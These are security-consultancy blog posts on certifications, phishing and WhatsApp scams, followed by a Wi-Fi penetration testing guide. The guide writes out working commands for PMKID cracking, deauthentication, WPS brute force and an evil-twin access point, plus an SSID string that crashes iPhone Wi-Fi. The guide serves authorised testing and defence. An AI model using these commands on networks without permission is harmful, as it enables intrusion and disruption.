Total cost	~3,560 EUR	~6,500-8,000 EUR	~2,500-3,500 EUR	~1,000-1,400 EUR	~2,500-3,500 EUR
Validity	3 years	3 years	3 years	3 years	3 years
GDPR/NIS-2 included	Yes (exam material)	No	No	No	Indirectly
BSI IT-Grundschutz	Yes (exam material)	No	No	No	No
Relevance in Germany, Austria, and Switzerland (DACH)	Very high	High	High	Medium	High
International recognition	Europe	Worldwide	Worldwide	Worldwide	Worldwide

Which certification is right for whom?

For the DACH market: T.I.S.P.

Those who work primarily in Germany, Austria, or Switzerland benefit most from the T.I.S.P. certificate. The reasons:

Regulatory relevance: T.I.S.P. is the only certification that includes the GDPR, NIS 2, BSI IT-Grundschutz, and ISO 27001 as mandatory modules. Especially with the entry into force of the NIS 2 implementation (§ 38 BSIG), managing directors must demonstrate verifiable qualifications in information security - T.I.S.P. meets this requirement.
German exam: The entire exam is administered in German. Technical terminology and legal concepts are tested in the language in which they are used in everyday professional practice.
Cost-benefit: With a total cost of 3,560 EUR, T.I.S.P. is significantly less expensive than the CISSP (~7,000 EUR) while offering comparable depth of content.
Entry barrier: 3 years of professional experience instead of 5 years for the CISSP - this makes T.I.S.P. more accessible to aspiring security professionals.

For international careers: CISSP

Anyone working at global corporations, U.S. companies, or in international security teams will find it hard to avoid the CISSP. It is the global de facto standard and is most frequently required in job postings outside the DACH region.

Tip: T.I.S.P. and CISSP can be easily combined. The overlap in content is about 70% - those who hold T.I.S.P. can earn the CISSP with reduced study effort.

For Security Managers and CISOs: CISM

The CISM is the right choice for professionals who work less technically and more strategically. It focuses on governance, risk management, and incident management from a management perspective.

For career starters: CompTIA Security+

Security+ is suitable as a first certification for IT professionals who want to transition into the security field. The low entry barrier (no professional experience required) and moderate cost (~1,200 EUR) make it an ideal starting point.

For auditors: ISO 27001 Lead Auditor

Anyone wishing to conduct ISMS audits - whether internally or as an external auditor - needs Lead Auditor certification. It complements T.I.S.P. or CISSP and is not a substitute for them.

T.I.S.P. and NIS-2: Why the certification will be particularly relevant in 2026

With the German NIS 2 implementation (NIS2UmsuCG), approximately 29,500 companies will be newly subject to cybersecurity obligations starting in 2026. Section 38 of the BSIG requires managing directors to participate in information security training and to demonstrate verifiable qualifications.

The T.I.S.P. certificate covers all competency areas required by NIS-2:

Risk analysis and ISMS implementation (ISO 27001, BSI IT-Grundschutz)
Business Continuity Management (ISO 22301)
Incident response and SOC setup
Cryptography and network security
GDPR, NIS-2, KRITIS, DORA - European regulatory knowledge

This makes T.I.S.P. not only a career booster but also fulfills specific legal requirements.

Salary Comparison: What Do Certified IT Security Professionals Earn?

The following salary ranges are based on market data for the DACH region (2025/2026):

Role	Without Certification	With T.I.S.P./CISSP	Difference
IT Security Analyst	42,000-50,000 EUR	50,000-60,000 EUR	+15-20%
Security Consultant	50,000-65,000 EUR	60,000-80,000 EUR	+20-25%
Senior Consultant / Lead Auditor	60,000-78,000 EUR	75,000-95,000 EUR	+18-22%
CISO / Head of IT Security	75,000-100,000 EUR	90,000-130,000 EUR	+20-30%

Certifications are a clear indicator of salary potential. Employers value verifiable qualifications - especially in a market with an acute shortage of skilled workers.

Frequently Asked Questions

Can I combine multiple certifications?

Yes, and it is recommended. A common combination in the DACH region is T.I.S.P. (European focus) + CISSP (international focus). The approximately 70% overlap in content significantly reduces the preparation effort required for the second certification.

Which certification is most frequently required in job postings?

In Germany, T.I.S.P. and ISO 27001 Lead Auditor are most frequently mentioned in job postings for ISB and consulting roles. Internationally, the CISSP dominates. The CISM is primarily required for management and governance positions.

What is the best way to prepare for T.I.S.P.?

A 5-day preparation course with an accredited provider is the most effective way. AWARE7 offers T.I.S.P. training with a DEKRA exam - as one of four accredited providers in Germany and with insider knowledge through membership on the T.I.S.P. Board.

Is T.I.S.P. internationally recognized?

T.I.S.P. is primarily recognized in Europe. Within the EU, and particularly in the DACH region, it is highly regarded by employers, regulatory authorities, and certification bodies. For positions outside Europe, the CISSP is the better choice.

Is CompTIA Security+ still worthwhile after T.I.S.P.?

No. T.I.S.P. covers more comprehensive content and is more highly valued in the DACH region. Security+ is a sensible starting point before T.I.S.P., but not an upgrade afterward.

Conclusion: The Right Certification for Your Career

There is no universally “best” IT security certification - but there is the right one for your situation:

DACH focus + EU regulations → T.I.S.P.
International career → CISSP
Management track → CISM
Entry level → CompTIA Security+
Audit specialization → ISO 27001 Lead Auditor

For professionals in the DACH region, T.I.S.P. offers the best overall package: European regulations as exam material, German as the exam language, moderate costs, and direct NIS 2 relevance. As one of four accredited providers in Germany and a member of the T.I.S.P. Board, AWARE7 prepares you optimally for the exam.

Phishing in Practice: Case Studies and Lessons Learned

kontakt@a7.de (Chris Wojzechowski) — Tue, 10 Mar 2026 00:00:00 GMT

Phishing isn’t some abstract threat from a textbook. It’s a tactic that even experienced tech professionals fall for - as four real-life cases clearly demonstrate. If you want to understand how attackers operate and why their methods work, you can’t ignore concrete case studies. Statistics show that phishing is one of the most common attack methods. Real-world examples explain why.

This article analyzes four documented phishing cases and draws conclusions that companies can apply immediately.

Why Case Studies Are Important

Cybersecurity training faces an acceptance problem: Many employees consider abstract warnings to be exaggerated. “That wouldn’t work on me” is a common reaction - until a colleague clicks on a link and the incident becomes known throughout the company.

Case studies serve two purposes: they make the reality of the threat tangible, and they reveal the psychological mechanisms attackers exploit. Only those who know the patterns can recognize them - before it’s too late.

The following four cases come from different contexts: a technology company, the financial sector, retail, and the public sector. Together, they show that no environment is immune.

Case Study 1: GitLab Tests Its Own Employees - 20% Fell for It

What happened

GitLab - one of the best-known technology companies in the source code management sector - conducted an internal phishing simulation. The assumption was obvious: anyone working in the IT industry is prepared for phishing. The result clearly contradicted this assumption.

In a sample of 50 employees, 17 clicked on the link provided. The lure: a new MacBook. Of these 17, 10 subsequently entered their login credentials on the fake website. Only six employees reported the email as suspicious to the IT department.

That corresponds to a click-through rate of 34 percent and a credential entry rate of 20 percent - at a company that deals with IT security issues on a daily basis.

What this means

The affected employees did not face any further consequences. Instead, GitLab provided links to guidance and training materials. This was the right decision for several reasons: Punishment spreads quickly throughout the company, creates a negative atmosphere, and leads employees to click on links less frequently out of fear of making mistakes - which lowers productivity without improving security.

The Lesson

Technical expertise does not automatically protect against phishing. Even experts fall for attractive bait if the email is designed professionally enough. Furthermore, a single phishing simulation provides only limited insight: Was the email particularly convincing? Did someone click the wrong link? Was the bait unusually attractive?

Anyone who wants to seriously measure their company’s security awareness level needs multiple simulated emails of increasing difficulty. It is recommended to send three emails over a period of six months. Well-prepared companies ultimately achieve click-through rates below 5 percent.

Case Study 2: Finance Phishing - AI Voices and Fake Letters

What Happened

The financial sector has always been a prime target for phishing attacks - the potential for damage is high, and bank customers are highly sensitive to messages concerning their accounts. However, the methods have changed fundamentally in recent years.

Two particularly effective current attack vectors in the financial sector:

AI-generated voice calls: Cybercriminals use artificial intelligence to generate voice calls that sound deceptively real. The AI analyzes real speech patterns and imitates bank employees. The calls contain urgent requests - such as verifying account details or confirming allegedly unusual transactions. The days when phishing could be recognized by poor pronunciation or a foreign accent are over.

Quishing - fake letters with manipulated QR codes: In addition to voice calls, attackers rely on physical letters containing QR codes. This method, known as quishing, lures recipients to fraudulent websites that look deceptively real and request confidential information such as login credentials or credit card numbers. The insidious part: QR codes appear trustworthy and convenient to many users - a simple scan with a smartphone is enough to fall into the trap.

What this means

Banks generally do not unsolicitedly ask for sensitive data over the phone. Anyone who receives a suspicious call should end the conversation immediately and call the bank back using the official number on the website - never a number provided during the call. For QR codes from unknown sources: Do not scan them. If you do, carefully check the displayed URL before entering any data.

The Lesson

Financial phishing has reached a new level of threat. Spelling mistakes as a telltale sign of phishing are a thing of the past. Today, attackers produce professional emails, convincing voices, and deceptively authentic websites. Security awareness must keep pace with this development - mistrust of unsolicited requests is not a sign of paranoia, but of competence.

Case Study 3: Black Friday - Shopping Frenzy as a Vulnerability

What Happened

Black Friday is a golden opportunity for cybercriminals. Millions of people are in the mood to shop at the same time, expect a flood of promotional emails, and act under time pressure. This combination of high email volume, emotional motivation to buy, and time pressure significantly lowers cognitive defenses.

Phishing campaigns on Black Friday specifically exploit several psychological triggers:

Artificial time pressure: Many Black Friday deals are only available for a short time. This stress causes shoppers to click on links without verifying the source. Countdown timers and “Only 3 left” messages amplify this effect.

Professional imitation of well-known brands: Phishing emails and websites are so well-crafted today that they can deceive even the most experienced eyes. Scammers copy the designs, logos, and fonts of well-known retailers with such precision that their messages are nearly indistinguishable from genuine offers. Phrases like "Exclusive Deal" or "Last Chance" tempt many to act without much thought.

Volume as a disguise: Phishing attempts easily get lost among legitimate promotional emails from retailers. People scroll through their inboxes, skim messages, and often no longer check the details.

What this means

Anyone shopping online on Black Friday should consistently ignore unknown senders and access offers directly through the retailer’s website - not via links in emails. A pre-made list of reputable retailers with saved favorites protects against accidentally landing on a fake site.

Secure payment methods like PayPal or virtual credit cards offer additional protection, as fraudsters cannot gain direct access to your bank account in the event of an attack. Public Wi-Fi networks should generally be avoided for shopping.

The Lesson

Seasonal events with high emotional engagement - shopping events, tax refund periods, times of crisis - are regularly peak periods for phishing. Attackers systematically align their campaigns with the calendar. Companies should design their security awareness measures to be timing-sensitive: Training held shortly before Black Friday is more effective than training in February.

Case Study 4: Energy Subsidy as Phishing Bait - Current Events Systematically Exploited

What Happened

This case study illustrates a broader pattern that remains timeless: Attackers use political and social events as bait. The specific example was the energy subsidy - a one-time government payment to offset rising energy costs in Germany.

At least three different phishing campaigns ran in parallel:

Campaign 1 - Gas Price Subsidy Program: Phishing emails claimed to be part of an alleged government subsidy program for reduced gas prices. Linked websites requested names, addresses, credit card numbers, and bank account details. The Federal Network Agency issued an explicit warning about these sites. The stolen data was used to drain bank accounts or misuse credit card information for large-scale purchases.

Campaign 2 - Sparkasse Promises 500 Euros: A second campaign used the Sparkasse logo and brand. Phishing emails promised a 500-euro energy rebate, allegedly to be paid out via Sparkasse - all one had to do was quickly confirm their details. The Sparkasse logo gave the message increased credibility for many recipients and prevented them from critically questioning it.

Campaign 3 - SMS from the Ministry of Finance (smishing): The third variant was sent via SMS - so-called smishing. A purported SMS from the Ministry of Finance announced a refund. The amount listed was intentionally odd - such as 224.25 euros instead of a round sum - to feign legitimacy. A link led to forms requesting personal and financial data.

What this means

Anyone receiving such messages should not open any links or enter any data. No trustworthy government or private-sector institution requests sensitive financial data via email or SMS through opaque URLs. If in doubt: call the alleged sender directly - using an official number you’ve looked up yourself, not one provided in the message.

The Lesson

The pattern behind this case study is independent of the specific energy subsidy and repeats itself with every publicly relevant event: pandemic relief payments, tax refunds, government subsidy programs, crises. Attackers often react to current events faster than security authorities can issue warnings. Companies and individuals must learn to ask themselves with every unsolicited message: “Why is this coming now, and why through this channel?”

Common Patterns: What All Four Cases Have in Common

Even though the four case studies have very different contexts, they share the same basic patterns:

Emotional Hook: Every successful phishing campaign appeals to a strong emotion - joy at winning a MacBook, fear of account misuse, shopping frenzy on Black Friday, hope for government relief. People who react emotionally are less likely to think critically.

Time Pressure: Almost all phishing messages create artificial pressure. "Act now," "Today only," "Your account will be blocked." Time pressure shuts down rational decision-making processes.

Trustworthy Senders: Attackers impersonate well-known brands, government institutions, or the victim’s own IT department. The savings bank logo, the bank employee on the phone, the official government text message - familiarity lowers the barrier to clicking.

Professional presentation: The quality of phishing emails and websites has increased dramatically. Spelling mistakes and poor graphics are no longer reliable indicators of a scam. AI helps attackers create deceptively authentic content in any language.

Multiple parallel campaigns: The energy flat-rate example shows that attackers often run several variants simultaneously when targeting a lucrative topic. Knowing one attack vector does not automatically protect you from the others.

What companies can do specifically

The lessons from the four case studies can be translated into concrete measures:

Conduct phishing simulations regularly: A single simulation provides little meaningful data. A program involving three emails of increasing difficulty over six months reliably measures the level of awareness and shows whether training measures are effective. Well-prepared companies achieve click-through rates below 5 percent. A professional phishing simulation reveals where the actual vulnerabilities lie within the company.

Avoid punishment: GitLab’s approach is exemplary. Employees who fall for simulated phishing emails receive guidance and training materials - no consequences. Punishment creates fear and lowers productivity without increasing security.

Establish and practice reporting channels: Only six out of 50 GitLab employees reported the suspicious email. A clear, simple reporting channel - for example, a button in the email client or a dedicated address - increases this rate. Reports should be acknowledged promptly so employees know their report has been received.

Consistently use two-factor authentication: Even if login credentials are stolen in a phishing attack, 2FA prevents attackers from accessing accounts with them. This is one of the most effective technical safeguards.

Schedule training sessions accordingly: Seasonal peaks - Black Friday, tax season, government payments, current crises - are peak times for phishing. Security awareness training should be scheduled so that employees are made aware of the risks shortly before these periods.

Cultivate critical thinking: The most important protective measure is cultural in nature: employees must feel confident to pause and verify suspicious messages. This requires a corporate culture in which skepticism toward unexpected requests is viewed as a skill - not as mistrust.

Implement technical safeguards: Anti-phishing software and browser extensions detect many known phishing websites before employees open them. Email security solutions filter out suspicious messages. These measures do not replace awareness training, but they significantly reduce the attack surface.

Phishing remains the most effective entry point for cyberattacks - because it targets people, not technology. The four case studies show that neither technical expertise nor vigilance alone is sufficient. Systematic preparation, regular practice, and an open security culture are the foundation for effective protection.

WhatsApp Scams: Fake Chats, Phishing and Social Engineering

kontakt@a7.de (Chris Wojzechowski) — Tue, 10 Mar 2026 00:00:00 GMT

WhatsApp isn’t just a communication tool - it’s also a tool for attacks. Attackers, scammers, and bullies deliberately exploit the messaging app: they create deceptively realistic fake chat histories, send manipulative messages in groups, gain unauthorized access via public group links, and exploit the trust people place in familiar contacts for social engineering attacks.

This article explains the types of scams that exist on WhatsApp, how they work - and how companies can protect their employees from them.

Fake WhatsApp Chats: Realistic Fakes in Minutes

How easy is it to fake a WhatsApp chat history?

The answer is uncomfortable: very easy. There are specialized apps available in the official app stores for Android and iOS, as well as several websites dedicated to this very purpose. Tools like fakewhats.com allow you to design a WhatsApp chat history graphically - with freely selectable sender names, timestamps, profile pictures, and message content.

The more labor-intensive but 100% “real” method: Two people coordinate, one renames their contact accordingly, and both type the desired content - the resulting screenshot is then a genuine screenshot of a real WhatsApp chat.

Both methods produce results that are visually almost indistinguishable from an authentic chat history.

What specific harm does this cause?

What is marketed as a fun tool for harmless pranks has a serious downside:

Bullying in schools: Students use fake chat generators to defame classmates or incriminate teachers with fabricated, inappropriate conversation histories. Those affected can hardly defend themselves - because the authenticity of a screenshot is difficult to refute.

Reputation damage and blackmail: Fake chat histories can be used in both private and professional settings to discredit individuals, exert pressure, or seemingly substantiate false claims.

Falsification of evidence: In a legal context, WhatsApp screenshots are increasingly appearing as purported evidence. The problem: Without forensic examination, their authenticity can neither be confirmed nor refuted.

Consequences for companies

Without forensic examination, screenshots from WhatsApp chats are of limited value as evidence in labor law or criminal disputes. Companies that document internal compliance incidents or wish to use employee communications as evidence should not rely solely on messenger screenshots.

Messenger Phishing via WhatsApp: The Contact Trust Attack

The Basic Principle of WhatsApp Phishing

Email phishing is well known - but messenger phishing is still underestimated in many companies. WhatsApp offers attackers a decisive advantage over email: trust in the sender is higher. A message that appears to come from a known contact triggers less skepticism than an anonymous email.

The most common attack patterns:

Account takeover as a starting point: Attackers first take over a contact’s WhatsApp account (e.g., through SIM swapping or compromising a WhatsApp Web session). They then message that person’s contacts on their behalf.

Direct impersonation: Without taking over an account, contact names are set up in a new account to mimic a familiar person. Those who don’t pay close attention to the phone number may not notice the deception.

Urgent requests for money: A typical pattern is: “I urgently need money; I can’t check my phone right now - can you quickly transfer X euros to me?” The message appears to come from a family member or a close colleague.

WhatsApp as a Channel for CEO Fraud

In a business context, WhatsApp is increasingly being misused for CEO fraud variants. Attackers pose as executives and pressure employees to make quick transfers or disclose confidential information - citing alleged urgency and requesting that no other channels be used.

The pattern resembles classic email CEO fraud but exploits the heightened trust in the messaging platform.

Dangerous Messages in WhatsApp Groups

Groups as a Multiplier for Attacks

WhatsApp groups exponentially increase the reach of an attack. What affects one victim in a single message can affect up to 100 victims in a group with 100 members with the same effort.

Specific forms of attacks in groups:

Files infected with malicious code: Attackers send files in groups that are disguised as images, PDFs, or documents but may contain malicious code. This is not an abstract threat - in 2017, Check Point demonstrated how a specially crafted image in the web version of WhatsApp can lead to complete account takeover.

Psychological manipulation through chain letters: Classic chain letters - “Forward this to 10 contacts, or else...” - are a form of social engineering. They create a false sense of urgency and exploit the desire to protect or warn social groups.

Disinformation and fake news: Groups are a preferred channel for spreading false information. In a corporate context, this can lead to poor business decisions if unverified information is treated as fact.

"Scary Messages" as Denial-of-Service: As described in the security article, specially crafted messages containing unreadable characters can cause WhatsApp to crash on recipients’ devices. Such messages are typically spread in groups to target as many victims as possible at once.

What Group Administrators Need to Know

Anyone who administers a WhatsApp group bears responsibility for protecting its members. The following measures reduce the risk:

Restrict messaging rights: In groups with a one-way flow of information (e.g., class information groups, company announcements), the setting should be enabled so that only administrators can send messages. This prevents third parties from spreading messages via a compromised or infiltrated account.

Selecting Administrators: Not all members should be granted administrator rights. Administrator rights allow the removal of other members, changes to group settings, and management of posting permissions.

Identifying Unknown Senders: If a person suddenly becomes active in the group whom no one knows - and they joined via a compromised invitation link - the member should be removed and the link reset.

Public Group Invitation Links: The Gateway for Intruders

How Strangers Sneak into Private Groups

WhatsApp group invitation links are a convenient feature - and a significant security risk if they are inadvertently made public. Anyone who has such a link can join the group without needing to be invited by a member.

Such links become public when:

A group member accidentally shares the link on social media, forums, or via email
The link appears in a screenshot that is shared publicly
The link is published on a website and indexed by search engines

At a time when Bing had not yet taken countermeasures, more than 200,000 WhatsApp group chats were publicly discoverable using a simple site:chat.whatsapp.com search operator - including private family, sports, and club groups.

Who is in your group?

An attacker who has joined a company group via a publicly leaked link can:

Read all messages and shared files
View profile pictures and phone numbers of all members
Send messages in the style of other members (social engineering)
Distribute malicious files or links

Recommendation: Regularly check the member list of your WhatsApp groups - especially for corporate groups. If an unknown member appears: Remove them and immediately reset the invitation link (Group Info > Invitation Link > Reset Link).

Secure Group Management: 7 Rules for WhatsApp Groups in a Corporate Context

Specific rules of conduct can be derived from all the attack scenarios described:

1. Do not forward chain letters Chain letters rarely contain verified information. Forwarding them may spread misinformation or help attackers distribute malicious code.

2. Do not open unknown files Images, PDFs, and documents from unknown or unexpected sources should not be opened - even if the sender appears to be a known contact. When in doubt: verify via another channel.

3. Check messages before forwarding WhatsApp flags forwarded messages. This is a first indication - but not proof of authenticity. Important information from groups should be verified through official channels.

4. Do not share invitation links publicly Group invitation links do not belong on websites, in public forums, or in open social media posts. New members should be invited individually via trusted channels.

5. Use the administrator function strategically The option to restrict writing permissions to administrators should be enabled by default in information groups. The "send to all" function can then be opened for specific discussion phases and restricted again afterward.

6. Report suspicious activity immediately If suspicious messages appear in a company group or unknown members join, this should be reported immediately to the IT security team or management.

7. Do not accept screenshot evidence uncritically Given how easily WhatsApp chat histories can be faked, screenshots from messaging apps should be critically scrutinized in legal or disciplinary proceedings.

Broadcast Lists as a Safer Alternative to Groups

For situations where information needs to be sent to many recipients without them coming into contact with one another, WhatsApp offers broadcast lists as an alternative.

The difference: Recipients of a broadcast list receive the message as an apparently personal direct message and cannot see the replies from other recipients. There is no shared group space where members could influence or attack one another.

Suitable use cases:

Event announcements that do not require discussion
Information for many recipients who are not supposed to know each other
Invitations to events

Not suitable for broadcast lists: All forms of collaborative communication where an exchange between participants is desired.

Phishing Simulations: How to Test Your Team’s Resilience

The ability to recognize phishing attempts - including those via messengers like WhatsApp - is a skill that can be learned. Studies consistently show that people who were confronted with simulated phishing attacks in controlled environments and subsequently received an explanation perform significantly better in later real attacks.

A phishing simulation typically includes:

Sending deceptively real phishing messages to employees (in coordination with company management)
Documenting who falls for the simulation and what actions are taken
Targeted training for the affected individuals afterward
Measuring improvement over time

Messenger phishing can be integrated into such simulations as an additional channel - this makes the results more realistic and the training more effective.

What to do if you’ve fallen victim to a WhatsApp scam?

If you or employees at your company have fallen victim to a WhatsApp scam:

Immediate actions:

Secure your WhatsApp account immediately: Enable two-step verification, check all linked devices, and end any unrecognized sessions
Notify contacts: If your account has been compromised, all relevant contacts should be notified via another channel so they know that messages may have been sent in your name
File a police report: In cases of extortion, fraud, or defamation, a report should be filed with the police - messenger communications can be preserved as digital evidence

For companies:

Notify the IT security team
Document the incident (time, type of message, affected individuals)
Check whether confidential company data has been compromised
Inform employees about the incident promptly without causing panic

Conclusion: Trust is the biggest risk factor

WhatsApp scams work because they exploit the trust we place in familiar contacts, in familiar user interfaces, and in seemingly authentic messages. Fake chat histories look real. Messages from “friends” aren’t questioned. Group links appear harmless.

Technical security measures help - but the decisive protective factor is the awareness of the people who use WhatsApp every day. Those who know how fake chats are created will view screenshots more critically. Those who know how messenger phishing works will ask questions when faced with unexpected payment requests. Those who know how group links become public will be more careful about sharing.

Security awareness is not a one-time training session - it is an ongoing process. Learn how AWARE7 can support you in this: /services/security-awareness/

Further reading: Check out our article WhatsApp Security and Privacy, which covers encryption, the backdoor debate, WhatsApp Web risks, and privacy settings.

WLAN Penetration Testing: Tools, Methods and Attack Vectors

kontakt@a7.de (Chris Wojzechowski) — Mon, 09 Mar 2026 00:00:00 GMT

Your Wi-Fi network has no physical boundaries. The signal penetrates walls, floors, and building facades. An attacker in a neighboring building, in the parking lot, or on the street outside can pick up your wireless signal - and, if security is inadequate, launch an attack without ever physically entering your premises.

A Wi-Fi penetration test simulates exactly these attacks under controlled conditions. This article explains the methods used, the tools pentesters employ, and what the results of such a test mean.

What a Wi-Fi Penetration Test Encompasses

A professional Wi-Fi penetration test examines the entire Wi-Fi infrastructure for exploitable vulnerabilities. Typical areas of testing:

Encryption standard: Which WPA version is in use? Is WEP still active? Is WPS offered?
Password strength: Can the WPA2-PSK password be cracked using an offline brute-force attack?
802.1X configuration: Are certificates set up correctly? Does the RADIUS server accept self-signed certificates?
Network Segmentation: Is the guest Wi-Fi actually separated from the production network?
Rogue Access Points: Can fake APs be infiltrated without being detected?
Management Frame Protection: Is 802.11w active? Can deauthentication attacks be carried out?
Client Security: Do clients automatically connect to open networks with the same name?

The test is always conducted on behalf of the owner of the infrastructure being tested. Wi-Fi testing without explicit written permission is a criminal offense - even against one’s own home network from a remote location.

Attack Vectors in Detail

PMKID Attack Against WPA2-PSK

The PMKID attack is one of the most effective attacks against WPA2-Personal networks because it does not require an active client. Classic WPA2 attacks required the so-called 4-way handshake, which can only be intercepted when a client establishes a connection. In a PMKID attack, a single frame from the access point itself is sufficient.

Technical Process:

The PMKID (Pairwise Master Key Identifier) is calculated from the PMK, the AP’s MAC address, and the client’s MAC address:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" || BSSID || Client-MAC)

The PMK, in turn, is derived from the WPA2-PSK password. If an attacker knows the PMKID, they can try passwords offline without ever having to disconnect and reconnect a client.

Tools:

# Step 1: Collect PMKID frames
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

# Step 2: Convert to hashcat format
hcxtools/hcxpcapngtool -o hash.hc22000 capture.pcapng

# Step 3: Offline cracking with a wordlist
hashcat -m 22000 hash.hc22000 wordlist.txt

# Step 4: With rule sets for password variations
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

Protection: WPA3-SAE makes the PMKID attack impossible because SAE no longer derives the PMK statically from the password. If WPA2-PSK is still in use: Choose a password with at least 25 random characters - this makes brute-force attacks computationally infeasible.

Evil Twin / Rogue Access Point

An Evil Twin attack is a man-in-the-middle attack at the Wi-Fi level. The attacker operates their own access point with an SSID identical to the target network and a stronger signal - clients automatically connect to the stronger signal.

How an Evil Twin attack works:

Attacker scans the environment for SSIDs (Aircrack-ng, Kismet)
Attacker creates an AP with the same SSID and a custom DHCP server
Optional: Deauthentication attack against the legitimate AP to force clients to reconnect
Clients connect to the attacker’s rogue AP
The attacker forwards traffic - as a man-in-the-middle, they can read and manipulate unencrypted connections

Tools:

# Create a rogue AP with hostapd
# /etc/hostapd/rogue.conf:
interface=wlan1
driver=nl80211
ssid=TargetNetwork
channel=6
hw_mode=g

# Provide DHCP for clients
dnsmasq --interface=wlan1 --dhcp-range=192.168.100.10,192.168.100.100,12h

# Forward traffic
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Why 802.1X protects against this: With WPA2/WPA3-Enterprise, not only does the client authenticate to the network, but the network also authenticates to the client - via a server certificate. An Evil Twin without the correct certificate is rejected by properly configured devices. Clients must be configured to validate the server certificate and not accept unknown certificates.

Deauthentication attacks (DoS and precursor to Evil Twin)

For a long time, the IEEE 802.11 standard did not include authentication for management frames. Deauthentication frames could be spoofed by any device - using any source MAC address.

Impact:

An attacker sends spoofed deauth frames to all clients on a network. The clients lose their connection and reconnect - either to the legitimate AP or, if an Evil Twin is present, to the rogue AP.

# Deauthentication with aireplay-ng
aireplay-ng --deauth 10 -a  <bssid-des-ap>wlan0mon

# Targeted against a single client
aireplay-ng --deauth 10 -a <bssid-des-ap> -c  <client-mac>wlan0mon

Protection: 802.11w (Management Frame Protection / MFP) cryptographically signs management frames. Faked deauth frames are ignored by devices that support 802.11w. WPA3 enforces 802.11w - another reason to migrate.

WPS Brute Force

WPS (Wi-Fi Protected Setup) was developed to simplify device connection. However, the eight-digit WPS PIN has a fundamental design flaw: The access point checks the first four and last three digits separately (the eighth digit is a checksum). This reduces the effective number of combinations from 100 million to 10,000 + 1,000 = 11,000.

Attack with Reaver:

# WPS scan
wash -i wlan0mon

# WPS PIN brute force
reaver -i wlan0mon -b <bssid> -vv

# With Pixie Dust optimization (works immediately against many older routers)
reaver -i wlan0mon -b <bssid> -K 1 -vv

The Pixie Dust attack exploits weak random number generators in some routers and can determine the WPS PIN in seconds - regardless of password length or complexity.

Protection: Completely disable WPS. Many routers also have a physical WPS button that must be disabled separately - otherwise, an attacker can reactivate WPS by pressing the button.

Format string attacks via SSIDs

In 2021, a curious vulnerability in iPhones came to light: If an iPhone connects to a Wi-Fi network with the SSID %p%s%s%s%s%n, the Wi-Fi function is permanently disabled - even a restart does not fix the issue. The Wi-Fi switch can no longer be enabled.

Cause: The SSID string is not properly escaped at one point in the iOS network stack and is interpreted as a format string. The character %p is a format specifier for pointer addresses in C-like languages. The operating system interprets the SSID name as program commands, leading to a memory access error.

Format string attack in general:
  Expected input:  "My Wi-Fi Name"
  Malicious input:  "%p%s%s%s%s%n"

  System interprets:
    %p → Output pointer address
    %s → Read string from memory
    %n → Write number of output bytes to memory location
         (can lead to write operations to arbitrary addresses)

This type of attack demonstrates that Wi-Fi attacks are not limited to the network layer - vulnerabilities can occur in any software component that processes Wi-Fi metadata.

Protection: Install iOS updates. Do not automatically trust public Wi-Fi networks with unusual SSIDs. Exercise caution with known network names containing special characters, particularly percent signs.

WiFi Pineapple: The Preferred Penetration Testing Tool

The WiFi Pineapple from Hak5 is a router specifically designed for Wi-Fi penetration testing, featuring its own browser interface. It combines the most common Wi-Fi attack tools into a single platform and significantly reduces setup effort.

What the WiFi Pineapple Does

Reconnaissance: Detects all Wi-Fi networks within range, including SSIDs, encryption standards, signal strength, and connected clients
Client Detection: Which devices are searching for which networks? (Probe requests)
Rogue Access Points: Deploying fake networks with configurable SSIDs
Deauthentication: Targeted disconnection of clients from the legitimate AP
Traffic Analysis: MITM analysis of forwarded traffic

Two Variants

The WiFi Pineapple is available in two hardware variants:

Model	Price	Features
Tetra	$199	More antennas, longer range, more USB ports
Nano	$99	More compact, portable, for discreet operations

Both devices run on a pre-installed OpenWrt-based system. The web interface is accessible via a browser, allowing for use even without in-depth Linux knowledge. The modular system enables extensions for specific attack methods.

Battery Operation for Covert Testing

A key advantage for red team operations: The WiFi Pineapple can be powered by a standard USB battery pack. This allows it to be placed unattended inside a building - under a conference table, in a storage room, or in a utility closet. The device connects to the internet via smartphone tethering, and the pentester can retrieve the collected data remotely.

With its Cloud C2 platform, Hak5 offers an infrastructure for remotely controlling multiple pentest devices - relevant for larger red team engagements with distributed locations.

Alternatives Without Specialized Hardware

The same attacks can also be carried out using a standard Linux computer and a supported USB Wi-Fi adapter. The necessary software is freely available:

# Aircrack-ng Suite (industry standard)
sudo apt install aircrack-ng

# Enable monitor mode
sudo airmon-ng start wlan0

# Scan networks
sudo airodump-ng wlan0mon

# Capture handshake
sudo airodump-ng -c 6 --bssid <bssid> -w capture wlan0mon

# Kismet (Passive scanner + Rogue AP detection)
sudo apt install kismet
kismet -c wlan0mon
# Web GUI: localhost:2501

The advantage of the WiFi Pineapple lies not in exclusive capabilities, but in its integrated user interface and quick deployment without manual configuration.

Reconnaissance: What Pen Testers Do First

Before an attack takes place, pen testers gather information about the Wi-Fi infrastructure.

Passive Reconnaissance

In monitor mode, a Wi-Fi card receives all frames within range without transmitting itself. This allows for:

Capturing all SSIDs and BSSIDs (MAC addresses of access points)
Determining the encryption standard (WPA2/WPA3/WEP/open)
Counting the connected clients per AP
Analysis of probe requests: Which network names do clients automatically search for?

Probe requests are particularly revealing: A laptop automatically sends requests for all known network names - such as the home network, the office network, or the hotel Wi-Fi from last year. An attacker with a rogue AP that responds to these names can automatically attract clients.

Active Reconnaissance

Measuring signal strength: Where in the building can which AP be received? Does the corporate network radiate out to the street?
Wardriving: Systematic mapping of all Wi-Fi networks in an area (for red team assessments: with permission)
Rogue AP detection: Are there already unknown access points in the building?

Overview of Wi-Fi Penetration Testing Phases

A structured Wi-Fi penetration test follows a defined process:

Phase 1 - Scope Definition: What is the scope of the test? Which SSIDs, which locations? Is the guest Wi-Fi included? Are there time windows during which no testing is permitted?

Phase 2 - Passive Reconnaissance: Mapping the Wi-Fi infrastructure without active attacks. Inventory of all SSIDs, BSSIDs, encryption standards, and channel usage.

Phase 3 - Vulnerability Analysis: Which of the discovered networks have exploitable weaknesses? Is WEP active? Is WPS enabled? Weak PSK? No 802.11w?

Phase 4 - Exploitation: Controlled execution of attacks: PMKID attack, WPS brute force, Evil Twin, deauthentication. All attacks are documented and assessed for their impact on operations.

Phase 5 - Post-Exploitation: What is accessible after gaining access to the Wi-Fi? Is the internal network segmented? Can internal servers be reached from a compromised Wi-Fi access point?

